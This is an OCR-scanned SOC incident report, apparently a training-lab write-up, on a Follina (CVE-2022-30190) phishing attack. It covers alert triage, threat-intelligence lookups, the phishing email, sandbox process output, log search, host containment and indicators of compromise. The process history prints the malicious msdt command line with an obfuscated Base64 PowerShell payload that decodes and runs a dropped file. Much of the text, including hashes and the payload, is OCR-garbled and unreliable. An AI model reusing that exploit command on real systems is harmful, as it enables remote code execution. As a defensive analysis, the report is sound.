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Alert

We can take a quick look at the "Alert Trigger Reason" in the alert details and
understand the root cause of the alert. It was stated that the CVE-2022-30190
vulnerability was exploited due to the "msdt.exe" running after an office document.
The vulnerability is also known as "Follina".

Medium 2,2 22 * S

w Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability, CVE-2022-30190

05-2022-0438.doc.zip




Detection

Verify

It is stated in the alert details that the file that exploits the vulnerability is
“05-2022-0438.doc”. At the same time, we have the hash information of the file. We
can quickly search for the hash in Google, Threat Intelligence, and other similar
sources and take a look at the results.

VirusTotal

(!-} 41 security vendors and no sandboxes flagged this file as malicious

4a24048f81afbedth62e7abad9adbd1faf41f266b5f9feecdcebbb/aec096784 10.01 KB 2022-06-03 07:04:53 UTC
05-2022-0438.doc Size 27 minutes ago
cve-2017-0199 cve-2022-30190  docx exploit

x  Communty .,

Score

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

Security Vendors' Analysis

Ad-Aware (1) Trojan GenerickD 50350679 AhnLab-V3 (1) Downloader/DOC External
Alibaba {D Trojan:Office/Cve-2022-30190.a AlYac (‘D Exploit MSOffice Gen
Arcabit (1) Trojan Genaric. D3004A57 Avast () OLE:RemateTemplatsinj [Trj]
AVG (1) OLE:RemateTemplatelnj [Trj] Awira (no cloud) (1) Wa7TM/DIdr Agent wzxic

(https://www.virustotal.com/qui/file/4a24048f81afbe9fb62e7aba49adbd 1faf41f266b5f
9feecdceb567aec096784/detection)

Malwares

ITIC]TWG res.com

4A24048F81AFBE9FB62E7A6A49ADBD1FAF41F266B5FOFEECDCEB567AEC096784

MD5 : 52045AF1DEF85B171870831FA4782E52
SHA-1: 06727FFDAG0359236A8029E0B3ESADFD11C23313
SHA-256 : 4A24048F81AFBEOFBG2ETABA49ADBDIFAF41F266B5FIFEECDCERS67AECOS67 84
File Size : 10,253 bytes
File Type : docx
Known Date : 2022-05-31 06:42:04 (3 days ago)
safe malware
Tag #docx || #exploit || #cve_2017_0199 | | #agent | | #trojan | | #generickd

(https./www.malwares.com/report/file ?hash=4A24048F81AFBE9FB62E7A6A49ADBD 1FAFE
41F266B5F9FEECDCEBS567AEC096784)



https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/detection
https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/detection
https://www.malwares.com/report/file?hash=4A24048F81AFBE9FB62E7A6A49ADBD1FAF41F266B5F9FEECDCEB567AEC096784
https://www.malwares.com/report/file?hash=4A24048F81AFBE9FB62E7A6A49ADBD1FAF41F266B5F9FEECDCEB567AEC096784

The results we obtained contain some findings that the file uses the
"CVE-2022-30190" vulnerability. As a SOC analyst, it is necessary to make analysis

on the SOC environment and reach the details on whether there is a system affected
by this situation or not.



Analysis

Initial Access

In the alert details on the Monitoring page, we see that the file was run without any
blocking.

Medium 2, 2022 22 * S

#* Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability, CVE-2022-30190

05-2022-0438.doc.zip

First, it is necessary to understand how this file got to the “JonasPRD” device. The
filename “05-2022-0438.doc” can be searched in the Mailbox to check the Phishing
status, which is one of the most popular initial access techniques.

05-2022-0438.doq

Check ALL

E

As a result of the search we conducted, we see that there is an inbound email sent
to “jonas[@]letsdefend.io” with this file in the attachment.



¢ invitation for an interview

radiosputnik@ria.ru jonas@letsdefend.io
June 2, 2022, 1:51 p.m. June 2, 2022, 1:51 p.m.

Hello,
We want to interview you on Sputnik Radio. Please review the attachment and respond to me.

Regards

Attachments

05-2022-0438.doc.zip

Password: infected

Malware Analysis

We have a phishing email and malware. We need to understand how the malware
behaves. The most effective way to understand the behavior of the file is to conduct
dynamic analysis. In the rest of the report, analysis will be made with AnyRun.

After uploading the file to AnyRun and run, we see that a DNS request was sent to
the address "www[.]xmlIformats[.Jcom", but no results were obtained, so the file did
not exhibit any significant behavior.



Microsoft*

Word 2010
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DNS Requests
Domain

The attacker may have turned off IP routing/redirecting because he is done with the
relevant domain address. In order to continue the analysis process, finding an
analysis report made during the active period of the domain will make our work
easier, otherwise static analysis may be required.

We need to search for the file hash value (52945af1def85b171870b31fa4782e52),
check the past analyses and find the one that will work for us.

Public submissions

Q. 52945af1ef8501718700311a4782e52

After the examinations, we obtain a result of an analysis which was made during a
period when the domain was active.
Link: https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/

Looking at the results of this old analysis, we see a number of HTTP requests and
suspicious child processes are displayed.


https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/

HTTP Requests 14 Connections DNS Requests Threats # PCAP % SSL Keys
Timeshift Headers Rep PID Processname Content

GET | 200: 0K

164Kb & text
OPTIONS 200: 0K
HEAD | 200: 0K
OPTIONS 200: 0K
GET | 200: 0K 7.28Kb 4 hml
HEAD | 200: 0K
HEAD | 200: 0K

Tamanmiaine 2

75 OPTIONS 200: 0K

P

Processes Only important
- WINWDRD.EXE /n "C\Users\admin\Desktop\05-2022-0438 doc docx” /o ™
Bk Tk 192

msdt.exe ms-msdtfid PCWDiagnostic /skip force fparam "IT_RebrowseForFile=cal?c IT_Launc...

1k 2k &7

COM sdiagnhost.exe -Embedding

conhost.exe Ouffffff -ForceV
102 52

csc.exe /noconfig ffullpaths @"C-\Users\admintAppDataiLocal\Tempiragurdie cmdline”

385 1k 34

cvitres.exe /MOLOGO fREADOMLY /MACHIME:IX86 */OUT.CAUsers\admin\AppData\Local\T..
&9 16 14

csc.exe /noconfig ffullpaths @°C-\Users\admin\AppDataiLocal\, Temp\t52wyhbe. cmdline”

381 1k 34

cyvtres.exe /MOLOGO /READOMLY /MACHINEIX86 */OUT:CAUsers\admin\AppDataiLocal\T.
&9 16 14

cmd.exe [ctaskkill /f fim msdt_exe

conhost.exe Ouxffffffff -ForceV

taskkill.exe /f /im msdt.exe

i52 L 15

cmd.exe /fc cd Chusers\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar fy&&fi..
262 14 5

conhost.exe Ouffffffff -ForceV

We could not perform dynamic analysis because the command and control server of
the Malware was not active. When we look at the activities carried out in an old




report we found, it is clearly obvious that the file actually carried out malicious
activities.

Log Analysis

We know that the malware communicated with “www][.]xmlIformats[.]Jcom”. We need
to search for this domain on the log management and check if there is any device
accessing to this site from the internal network.

Log Search

https:/fwww.xmlformats.com/fofficefword/2022/wordprocessingDrawi
ng/

When we examine the log results after the search, we see that the “JonasPRD”
device with the IP address 172.16.17.39 is connected to this site.

If we look at the process history from Endpoint Security, we see that the malware
exhibits the same behavior that we saw in AnyRun.



Process History

wininit.exe
services.exe
svchost.exe
OfficeClickToRun.exe
winlogon.exe
explorer.exe
chrome.exe
notepad++.exe
SMS5.exe
CSIS5.8Xe
OUTLOOK .exe
taskhostw.exe
TiWorker.exe

¥y ¥ ¥ ¥ ¥ ¥ ¥y ¥y ¥vTyirITsTy

Cortana.exe
¥ WINWORD.exe

Command:C:/Program Files/Microsoft Office/Root/Office16/WINWO
RD.EXE /n C:/Users/admin/Desktop/05-2022-0438 doc.docx /o

¥ msdt.exe

Command:C:/WINDOWS/system32/msdt.exe ms-msdt:/id PCWDiag
nostic /skip force fparam IT_RebrowseForFile=cal?c IT_LaunchMethod
=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=hS(In
voke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[cha
r]58+[char]58+'UTFB.GetString([System.Convert]"+[char] 58+ [char] 5
8+'FromBase645tring("+[char] 34+ JGNtZCASIC)jOlx 3aW5kb3dzXHN
5c3RIbTMyXGNtZC5leGUIO1NOYXJOLVBYb2NLc3MgIGNtZCAtd 2 luZ
G93c3R5bGUgaGLlkZGVulC1Bemd 1bWVudExpc3Qgli9jIHRhc2traWx
sICO9mMICIpbSBtc2 ROLMV4ZSI7TU3IRhenQtUHIVY 2VzeyAkY21kIC13a
W5Ekb3dzdHIsZSBoaWRkZWAgLUFyZ 3VEZWS0TGlzdCAIL2ZMgY2Qg
QzpcdXNlecnMNecHVIbGLXCYmZmSy I CO9yICVOZW 1wlS5ALlaSBpbiAoM
DUHMjAyMi0wNDMALnJhcikgZGBgY29weSAlaSAxLnlhci AveSYmZml
uZHNOciBUVESEUMmdBQUFBIDEucmFyPjEudCYmY 2VydHV0aWwglL
WRLY29kZSAxL nQgMS5jICYmZXhwYW5SkIDEuYyAtRjoglCAmininYi5
leGUiOw=="+[char] 34+"))'))il. L L L LA L L L L L L Windows/Syst
em32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO

» sdiagnhost.exe
> CSC.eXe

> cvires.exe

» cmd.exe




By the analyses we conducted on the Log Management and Endpoint Security, we
have determined that the "05-2022-0438.doc" malware was run on the JonasPRD
device successfully and communicated with the C2.



Containment

We found solid evidence that the JonasPRD device was compromised. Now, we
need to isolate the device from the network in order to prevent the attacker from

reaching different devices in the internal network and to break its existing
connection.

Host Contained

Lesson Learned

e Even if we regularly update our systems, it is possible for the attackers to
infiltrate into our systems with various 0-Days.

e |t is not possible to prevent attacks 100%, but it is possible to detect them in a
short time.



Artifacts

Field

Value

Email Address

radiosputnik[@]ria[.]ru

Domain xmlformats[.Jcom

URL Address https://www[.]Jxmlformats[.]Jcom/office/word/2022/

URL Address https://www[.]Jxmlformats[.]Jcom/office/word/2022/wor
dprocessingdrawing/

URL Address https://www[.]Jxmlformats[.]Jcom/office/word/2022/wor
dprocessingdrawing/RDF842].html

MDS5 Hash 52945af1def85b171870b31fa4782e52

SHA256 4224048f81afbe9fb62e7a6a49adbd1faf41f266b5f9fe

ecdceb567aec096784

Filename

05-2022-0438.doc




